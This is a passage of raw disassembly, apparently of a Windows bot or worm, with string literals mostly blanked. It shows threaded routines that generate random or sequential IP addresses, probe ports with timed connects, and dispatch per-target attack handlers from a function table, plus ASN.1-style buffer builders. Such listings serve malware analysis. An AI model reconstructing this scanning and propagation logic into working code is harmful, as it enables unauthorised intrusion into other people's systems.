call _sprintf add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+Source] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431808[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset byte_4CE3B4 push 104h push esi push ebx call ds:dword_427078 ; GetModuleFileNameA push 5Ch ; Ch push esi ; Str call _strrchr pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4CC, ebx mov dword_4CE4B8, eax lea eax, [ebp+Format] push eax ; Format push offset byte_4CE12C ; Dest call _sprintf mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE128, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4B8 mov dword_4CE4C4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4C8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+Source] push offset asc_42C18C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B3BA add esp, 20h mov dword_4CE4C0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE128 push offset sub_40FAD6 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, dword_4CE4C0 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4D4, ebx jnz short loc_40C256 push 32h call ds:dword_427080 ; Sleep jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_431D04 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+Source] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C267(int Dst) sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p Dst = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+Dst] push esi push 4 ; Size lea esi, ds:4CBB20h[eax*8] lea eax, [ebp+Dst] push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4CB8FC ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4CB9D0 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C2AF(char *Src,int) sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+Src] ; Str mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call _strlen cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+Src] ; Src call _sscanf add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call _rand mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call _rand mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call _rand mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call _rand loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB20[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: sub_40BB65+59p ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA54 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9D4 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA70 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB97C ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9BC ; select push esi mov edi, eax call dword_4CBA6C ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C600+13Bo var_2A8 = dword ptr -2A8h Dest = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h Src = byte ptr -150h var_140 = byte ptr -140h Str = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+Src] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E914[ebx] cmp dword_4CBB24[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax ; Dst jz short loc_40C459 lea eax, [ebp+Src] push eax ; Src call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E914[ebx] push [ebp+var_3C] push edi call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_431E64 ; "-" push eax ; Dest call _sprintf add esp, 18h lea eax, [ebp+Dest] push eax ; Format lea eax, dword_43E710[ebx] push eax ; Dest call _sprintf push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB20 call ds:dword_4270DC ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_431E3C ; "-" push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+Str], 0 push 1 ; int push [ebp+var_18] ; int lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Str] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax ; Str push [ebp+var_40] ; int call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+Dest] push eax call sub_415D38 mov [esp+2A8h+var_2A8], offset dword_4CDB20 call ds:dword_4270D8 ; RtlLeaveCriticalSection jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA60 ; inet_ntoa push eax ; Format lea eax, [ebp+var_208] push eax ; Dest call _sprintf mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax ; Format lea eax, [ebp+var_178] push eax ; Dest call _sprintf cmp [ebp+Str], 0 pop ecx pop ecx lea eax, [ebp+Str] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax ; Format lea eax, [ebp+var_1F8] push eax ; Dest call _sprintf mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4317FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h call ds:dword_427080 ; Sleep jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 call ds:dword_4270D4 ; ExitThread sub_40C3E8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C600 proc near ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao var_1DC = dword ptr -1DCh Source = byte ptr -1CCh var_14C = byte ptr -14Ch Str = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA14 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB20 push esi call ds:dword_4270E4 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4270E0 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C6CE lea eax, [ebp+Source] push offset asc_431F48 ; "-" push eax ; Dest call _sprintf xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C600+99j lea eax, [ebp+Source] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C600+63j ; sub_40C600+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_427080 mov edi, ebx mov dword_4CBB24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C600+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+Source] push offset asc_431F14 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 0Bh ; int push eax ; Source call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C600+164j cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi ; Sleep jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C600+159j call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_431EDC ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C600+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C600+E6j cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_40C7B0: ; CODE XREF: sub_40C600+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB20[eax*8] push eax call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_431E9C ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C600+1DFj lea eax, [ebp+Source] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4CBB24[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB20 call ds:dword_4270E4 ; RtlDeleteCriticalSection loc_40C835: ; CODE XREF: sub_40C600+228j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_40C845: ; CODE XREF: sub_40C600+19Ej ; sub_40C600+25Dj mov eax, [ebp+var_2C] cmp dword_4CBB24[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi ; Sleep jmp short loc_40C845 sub_40C600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near ; DATA XREF: sub_40C92C+7Bo ; sub_40CA1D+7Bo var_BC = dword ptr -0BCh Str = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_38] call dword_4CB9D4 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA54 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+Dst] push 10h push eax push esi call dword_4CB97C ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E91C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA60 ; inet_ntoa push eax mov edi, offset byte_4CE4E4 push offset asc_431F7C ; "-" push edi ; Dest call _sprintf push 0 ; int lea eax, [ebp+Str] push [ebp+var_20] ; int push edi ; int push eax ; Str push [ebp+var_BC] ; int call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA6C ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; int __cdecl sub_40C92C(int Dst) sub_40C92C proc near ; DATA XREF: sub_401ACD+5F60o Dest = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h Src = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 Dst = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+Dst] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, ds:dword_427080 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C95A: ; CODE XREF: sub_40C92C+ECj push [ebp+var_30] push [ebp+Src] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_431FA4 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43E710 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40C85F push edi push edi call ds:dword_427084 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C9C6 loc_40C9BB: ; CODE XREF: sub_40C92C+98j cmp [ebp+var_C], edi jnz short loc_40C9C6 push 32h call esi ; Sleep jmp short loc_40C9BB ; --------------------------------------------------------------------------- loc_40C9C6: ; CODE XREF: sub_40C92C+8Dj ; sub_40C92C+92j push [ebp+var_4] call ds:dword_427070 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+Src] push 4 ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4CB8FC ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4CB9D0 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src lea eax, [ebp+Src] push eax ; Dst call _memcpy add esp, 0Ch jmp loc_40C95A sub_40C92C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1D proc near ; DATA XREF: sub_401ACD+5C80o Dest = byte ptr -130h var_B0 = dword ptr -0B0h Str = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_427080 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CA4B: ; CODE XREF: sub_40CA1D+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_431FF8 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_43E710 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40C85F push edi push edi call ds:dword_427084 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40CAB7 loc_40CAAC: ; CODE XREF: sub_40CA1D+98j cmp [ebp+var_8], edi jnz short loc_40CAB7 push 32h call esi ; Sleep jmp short loc_40CAAC ; --------------------------------------------------------------------------- loc_40CAB7: ; CODE XREF: sub_40CA1D+8Dj ; sub_40CA1D+92j push [ebp+arg_0] call ds:dword_427070 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40CADE inc [ebp+var_2C] jmp loc_40CA4B ; --------------------------------------------------------------------------- loc_40CADE: ; CODE XREF: sub_40CA1D+B7j push [ebp+var_1C] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_431FCC ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409869 push [ebp+var_20] call sub_40B6D6 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40CA1D endp ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40CB34(void *Src,size_t Size) sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep Src = dword ptr 4 Size = dword ptr 8 push ebx mov ebx, [esp+4+Size] push esi push edi mov esi, ecx push ebx ; Size call _malloc mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx ; Size push 0 ; Val push edi ; Dst call _memset push ebx ; Size push [esp+1Ch+Src] ; Src push edi ; Dst call _memcpy add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40CB6E(void *Src,size_t Size,int,int) sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... Src = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+Size] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi ; Size call _malloc mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi ; Size push 0 ; Val push esi ; Dst call _memset push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; Dst call _memcpy push [ebp+arg_C] ; Size mov eax, [ebp+Size] add eax, esi push [ebp+arg_8] ; Src push eax ; Dst call _memcpy add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax ; Size push 0 ; Val push edi ; Dst call _memset add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] ; Size lea eax, [edi+3] push dword ptr [esi] ; Src loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax ; Dst call _memcpy add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... Src = dword ptr -8 Size = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+Src] push dword ptr [esi+4] ; int push dword ptr [esi] ; int push 1 ; Size push offset word_4CB88C ; Src call sub_40CB6E lea ecx, [ebp+Src] call sub_40CBDC mov eax, [ebp+Size] inc eax push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+Size] inc eax push eax ; Size push 0 ; Val push edi ; Dst call _memset mov byte ptr [edi], 3 push [ebp+Size] ; Size lea eax, [edi+1] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+Size] lea ecx, [ebp+Src] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] ; int lea ecx, [ebp+var_8] push [ebp+arg_0] ; int push dword ptr [esi+4] ; Size push dword ptr [esi] ; Src call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40CD16(char *Str) sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p ; sub_40CD9E+15Bp ... Str = dword ptr 4 push esi mov esi, ecx push [esp+4+Str] ; Str call _strlen pop ecx push eax mov ecx, esi push [esp+8+Str] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] ; int lea ecx, [ebp+var_8] push dword ptr [esi] ; int push 1 ; Size push offset asc_42CC80 ; "#" call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: .text:0040D625p Dst = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword 